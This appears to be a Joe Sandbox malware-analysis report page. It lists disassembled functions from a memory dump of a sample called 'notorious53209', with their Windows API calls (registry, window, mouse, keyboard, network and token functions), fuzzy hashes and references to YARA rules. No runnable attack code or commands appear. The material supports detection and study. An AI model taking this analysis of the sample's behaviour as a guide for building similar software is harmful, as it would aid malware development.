Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 4b40cef33f086a8606dc156cd5e934ee40c9dc0666602c37bf366e708c17dbf9
Instruction ID: 8bbc208233a4393d369be5ba7b7d54fb5a27917a79ec0ca1141e2757a220af92
Opcode Fuzzy Hash: 4b40cef33f086a8606dc156cd5e934ee40c9dc0666602c37bf366e708c17dbf9
Instruction Fuzzy Hash: 28E092B05A0340AEDB503F70FC0CB2635A4B721747F008634B826D51A0DBF000E5CF10

Function 0025429E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,002541B8), ref: 002542B8
GetProcAddress.KERNEL32(00000000), ref: 002542BF
RtlEncodePointer.NTDLL(00000000), ref: 002542CA
RtlDecodePointer.NTDLL(002541B8), ref: 002542E5

Strings

RoUninitialize, xrefs: 002542A7
combase.dll, xrefs: 002542B3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: ae9220cae948eb48e34fbe9107535f85dc5d432d2599c90958d333bba8acdfca
Instruction ID: 33559ca36683f63a50e42c9a3f042f5724084e7d701ed0efcda9099acfe26798
Opcode Fuzzy Hash: ae9220cae948eb48e34fbe9107535f85dc5d432d2599c90958d333bba8acdfca
Instruction Fuzzy Hash: 92E04F78560301EBDB40AF20FD0CB123AA4B720796F104238F415D11A0CBF054A4CB14

Function 002A6E17 Relevance: 9.2, APIs: 6, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WS2_32(00000000,?), ref: 002A6F14
WSAGetLastError.WS2_32(00000000), ref: 002A6F48
htons.WS2_32(?), ref: 002A6FFE
inet_ntoa.WS2_32(?), ref: 002A6FBB

Part of subcall function 0028AE14: _strlen.LIBCMT ref: 0028AE1E
Part of subcall function 0028AE14: _memmove.LIBCMT ref: 0028AE40

_strlen.LIBCMT ref: 002A7058
_memmove.LIBCMT ref: 002A70C1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: ad0d8bb9a99a074f16ef5ad20950bee1d69c89a8db3d15d0496df957eafd8166
Instruction ID: 700a6636b3e964f7c8df47873489b58dac2efab1c5060cec6377fdca9b9e51ad
Opcode Fuzzy Hash: ad0d8bb9a99a074f16ef5ad20950bee1d69c89a8db3d15d0496df957eafd8166
Instruction Fuzzy Hash: 1E81EFB1128300AFD710EF24CC86F6BB3E9AF86714F144A19F5559B292DFB09D64CB92

Function 0029675A Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 002968AD
_memmove.LIBCMT ref: 002967E8

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

_memmove.LIBCMT ref: 0029685B
_memmove.LIBCMT ref: 00296942
_memmove.LIBCMT ref: 0029695B
_memmove.LIBCMT ref: 00296977

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 2d16bad4011c88efadf0a2ebd10c6b8f6b7cea301be424bbf4c5da4b2a776fd9
Instruction ID: de7b662d364a7373ef733e4450e8829588a4c696e9a509400b3c17ead90c62de
Opcode Fuzzy Hash: 2d16bad4011c88efadf0a2ebd10c6b8f6b7cea301be424bbf4c5da4b2a776fd9
Instruction Fuzzy Hash: DF61B97052025AABDF11EF20CC86FFE77A5AF05308F044519FC5A5B292DB70A869CF90

Function 002B046F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 002B10A5: CharUpperBuffW.USER32(?,?), ref: 002B10BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 002B0548
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 002B0588
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 002B05AB
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 002B05D4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 002B0617
RegCloseKey.ADVAPI32(00000000), ref: 002B0624

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 5d8b56a4f085de139fd89f737a41440e3110f6712029e49ae6ccc4cdc7840692
Instruction ID: 3527a07ec80d19eba37ae45aa1bfb1936ddd6219de55093c98bc509bbc004b5b
Opcode Fuzzy Hash: 5d8b56a4f085de139fd89f737a41440e3110f6712029e49ae6ccc4cdc7840692
Instruction Fuzzy Hash: BA515771128201AFCB15EF24C885EABBBE8FF89354F04491DF585872A1DB71E924CF52

Function 002B5A20 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 002B5A82
GetMenuItemCount.USER32(00000000), ref: 002B5AB9
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 002B5AE1
GetMenuItemID.USER32(?,?), ref: 002B5B50
GetSubMenu.USER32(?,?), ref: 002B5B5E
PostMessageW.USER32(?,00000111,?,00000000), ref: 002B5BAF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: fb026c1a53e7c0ba09af22bdbb0cd1b3f8a4259423ead261de7cc053fba4b02c
Instruction ID: cc060ffd4c15dc24a8227a5d8da7761d26c9a4affa18a1fdcdd12cfa16068812
Opcode Fuzzy Hash: fb026c1a53e7c0ba09af22bdbb0cd1b3f8a4259423ead261de7cc053fba4b02c
Instruction Fuzzy Hash: 34519C31A10626AFCF11EFA4C845AEEB7B4EF48360F104469ED16BB351CB70AE518F90

Function 0028F3DD Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0028F3F7
VariantClear.OLEAUT32(00000013), ref: 0028F469
VariantClear.OLEAUT32(00000000), ref: 0028F4C4
_memmove.LIBCMT ref: 0028F4EE
VariantClear.OLEAUT32(?), ref: 0028F53B
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0028F569

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 0646040ab3c322428a80c81c7b131d10c6a5bde6d80e0b8bbd9d903ae1913384
Instruction ID: 3e7ab44b32a7b4dfb4cdce008ca6c40a2ab2db2c640ebeee037739e373b2fc96
Opcode Fuzzy Hash: 0646040ab3c322428a80c81c7b131d10c6a5bde6d80e0b8bbd9d903ae1913384
Instruction Fuzzy Hash: 3B516CB9A10209EFCB10DF58D884AAAB7B8FF4C314B158569EE59DB341D734E911CFA0

Function 002926F9 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00292747
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00292792
IsMenu.USER32(00000000), ref: 002927B2
CreatePopupMenu.USER32 ref: 002927E6
GetMenuItemCount.USER32(000000FF), ref: 00292844
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00292875

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: da3ecf3b3de0266defa1e9695874b42fe108cfb389b003c6a722556000fd0c89
Instruction ID: b8740352de0cdbfee8675792db72d7039da099561493f7fea022f28fc7bb63c5
Opcode Fuzzy Hash: da3ecf3b3de0266defa1e9695874b42fe108cfb389b003c6a722556000fd0c89
Instruction Fuzzy Hash: 9751B370A10306FFDF24CF68D888BAEBBF5BF44314F104669E815AB291D7709968CB61

Function 00231765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

BeginPaint.USER32(?,?), ref: 0023179A
GetWindowRect.USER32(?,?), ref: 002317FE
ScreenToClient.USER32(?,?), ref: 0023181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0023182C
EndPaint.USER32(?,?), ref: 00231876

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: e2d9b2952a00c81875def7e099b93b9c6b23649d45a10bb4f3ec656eae8607d4
Instruction ID: a89636682ba0e48036d331501c5f4823bb09bd56b014b3808628047996f37f42
Opcode Fuzzy Hash: e2d9b2952a00c81875def7e099b93b9c6b23649d45a10bb4f3ec656eae8607d4
Instruction Fuzzy Hash: 7141CFB0120301AFD711DF28DC88FB67BF8EB49764F040628FAA4872A1C7319C69DB61

Function 002BB958 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(002F67B0,00000000), ref: 002BB9CC
EnableWindow.USER32(00000000,00000000), ref: 002BB9F0
ShowWindow.USER32(002F67B0,00000000), ref: 002BBA50
ShowWindow.USER32(00000000,00000004), ref: 002BBA62
EnableWindow.USER32(00000000,00000001), ref: 002BBA86
SendMessageW.USER32(?,0000130C,?,00000000), ref: 002BBAA9

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 3a22699ec1df95a332be46d4808003f456e06551a41835b536cc16feb436a614
Instruction ID: d610cd6fd50456c773852c27f238c9f8b22ee5094739111983bbcb59ea4f834e
Opcode Fuzzy Hash: 3a22699ec1df95a332be46d4808003f456e06551a41835b536cc16feb436a614
Instruction Fuzzy Hash: 10415030610642AFDB22CF14D999BD57BE0BF05350F1842B9EA588F2A2C7B1E855CF91

Function 002A73B1 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 002A73BF

Part of subcall function 002A3C94: GetWindowRect.USER32(?,?), ref: 002A3CA7

GetDesktopWindow.USER32 ref: 002A73E9
GetWindowRect.USER32(00000000), ref: 002A73F0
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 002A7422

Part of subcall function 002954E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0029555E

GetCursorPos.USER32(?), ref: 002A744E
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 002A74AC

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: aa18da278fecc8c25115cb95f551c8c58d461cf24b102bbcebc2522287cd96ed
Instruction ID: 866b582de7eedf6aa11186fa4d2d6215128ea0dbd3bab9d6db65eb56a5d03469
Opcode Fuzzy Hash: aa18da278fecc8c25115cb95f551c8c58d461cf24b102bbcebc2522287cd96ed
Instruction Fuzzy Hash: 5931E672508316ABD720DF14EC49F9BBBE9FF89314F004929F98897191CB30E918CB92

Function 0029ED8E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00239997: __itow.LIBCMT ref: 002399C2
Part of subcall function 00239997: __swprintf.LIBCMT ref: 00239A0C

Part of subcall function 0024FEC6: _wcscpy.LIBCMT ref: 0024FEE9

_wcstok.LIBCMT ref: 0029EEFF
_wcscpy.LIBCMT ref: 0029EF8E
_memset.LIBCMT ref: 0029EFC1

Strings

X, xrefs: 0029EFFE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 653547d3c778f483bc838d9a99cc9f824f68151eab83d31a68e69b958d7f101d
Instruction ID: a0fadbcf4ba60518609dd65a2e0da207d9928741bb53ed8a97c553923a434d0d
Opcode Fuzzy Hash: 653547d3c778f483bc838d9a99cc9f824f68151eab83d31a68e69b958d7f101d
Instruction Fuzzy Hash: 6CC18FB15283019FCB64EF24C985A5AB7E4FF85310F04492DF899972A2DB70ED65CF82

Function 00288D5B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002885F1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00288608
Part of subcall function 002885F1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00288612
Part of subcall function 002885F1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00288621
Part of subcall function 002885F1: RtlAllocateHeap.NTDLL(00000000,?,00000002), ref: 00288628
Part of subcall function 002885F1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 0028863E

GetLengthSid.ADVAPI32(?,00000000,00288977), ref: 00288DAC
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00288DB8
RtlAllocateHeap.NTDLL(00000000), ref: 00288DBF
CopySid.ADVAPI32(00000000,00000000,?), ref: 00288DD8
GetProcessHeap.KERNEL32(00000000,00000000,00288977), ref: 00288DEC
HeapFree.KERNEL32(00000000), ref: 00288DF3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Heap$Process$AllocateInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 169236558-0
Opcode ID: bd44a5ea352d71f32e20666e26956dc233f101f0bed8ae9d61de5352c78fd631
Instruction ID: ff6d07a86afd254df136b8d9738b4caa59e378f4c466932e27b0d332e50f1a8c
Opcode Fuzzy Hash: bd44a5ea352d71f32e20666e26956dc233f101f0bed8ae9d61de5352c78fd631
Instruction Fuzzy Hash: DD110376522605FFDB50AF68DD08BAE77B9FF40315F504569F845D3291CB319910CB60

Function 002BC19A Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 002312F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000), ref: 0023134D
Part of subcall function 002312F3: SelectObject.GDI32(?,00000000), ref: 0023135C
Part of subcall function 002312F3: BeginPath.GDI32(?), ref: 00231373
Part of subcall function 002312F3: SelectObject.GDI32(?,00000000), ref: 0023139C

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 002BC1C4
LineTo.GDI32(00000000,00000003,?), ref: 002BC1D8
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 002BC1E6
LineTo.GDI32(00000000,00000000,?), ref: 002BC1F6
EndPath.GDI32(00000000), ref: 002BC206
StrokePath.GDI32(00000000), ref: 002BC216

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 3997847b02a987e659ff343f662f912366c5f3453211b12032ae3d32280dba70
Instruction ID: 655aa2c6c201414736b5ffb14ce704c600ada75295e06837b715805c396b03e1
Opcode Fuzzy Hash: 3997847b02a987e659ff343f662f912366c5f3453211b12032ae3d32280dba70
Instruction Fuzzy Hash: 9E11097640010DBFDB119F94EC88EEA7FADEB083A4F048525BE185A161C7729DA5DFA0

Function 002503A2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 002503D3
MapVirtualKeyW.USER32(00000010,00000000), ref: 002503DB
MapVirtualKeyW.USER32(000000A0,00000000), ref: 002503E6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 002503F1
MapVirtualKeyW.USER32(00000011,00000000), ref: 002503F9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00250401

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
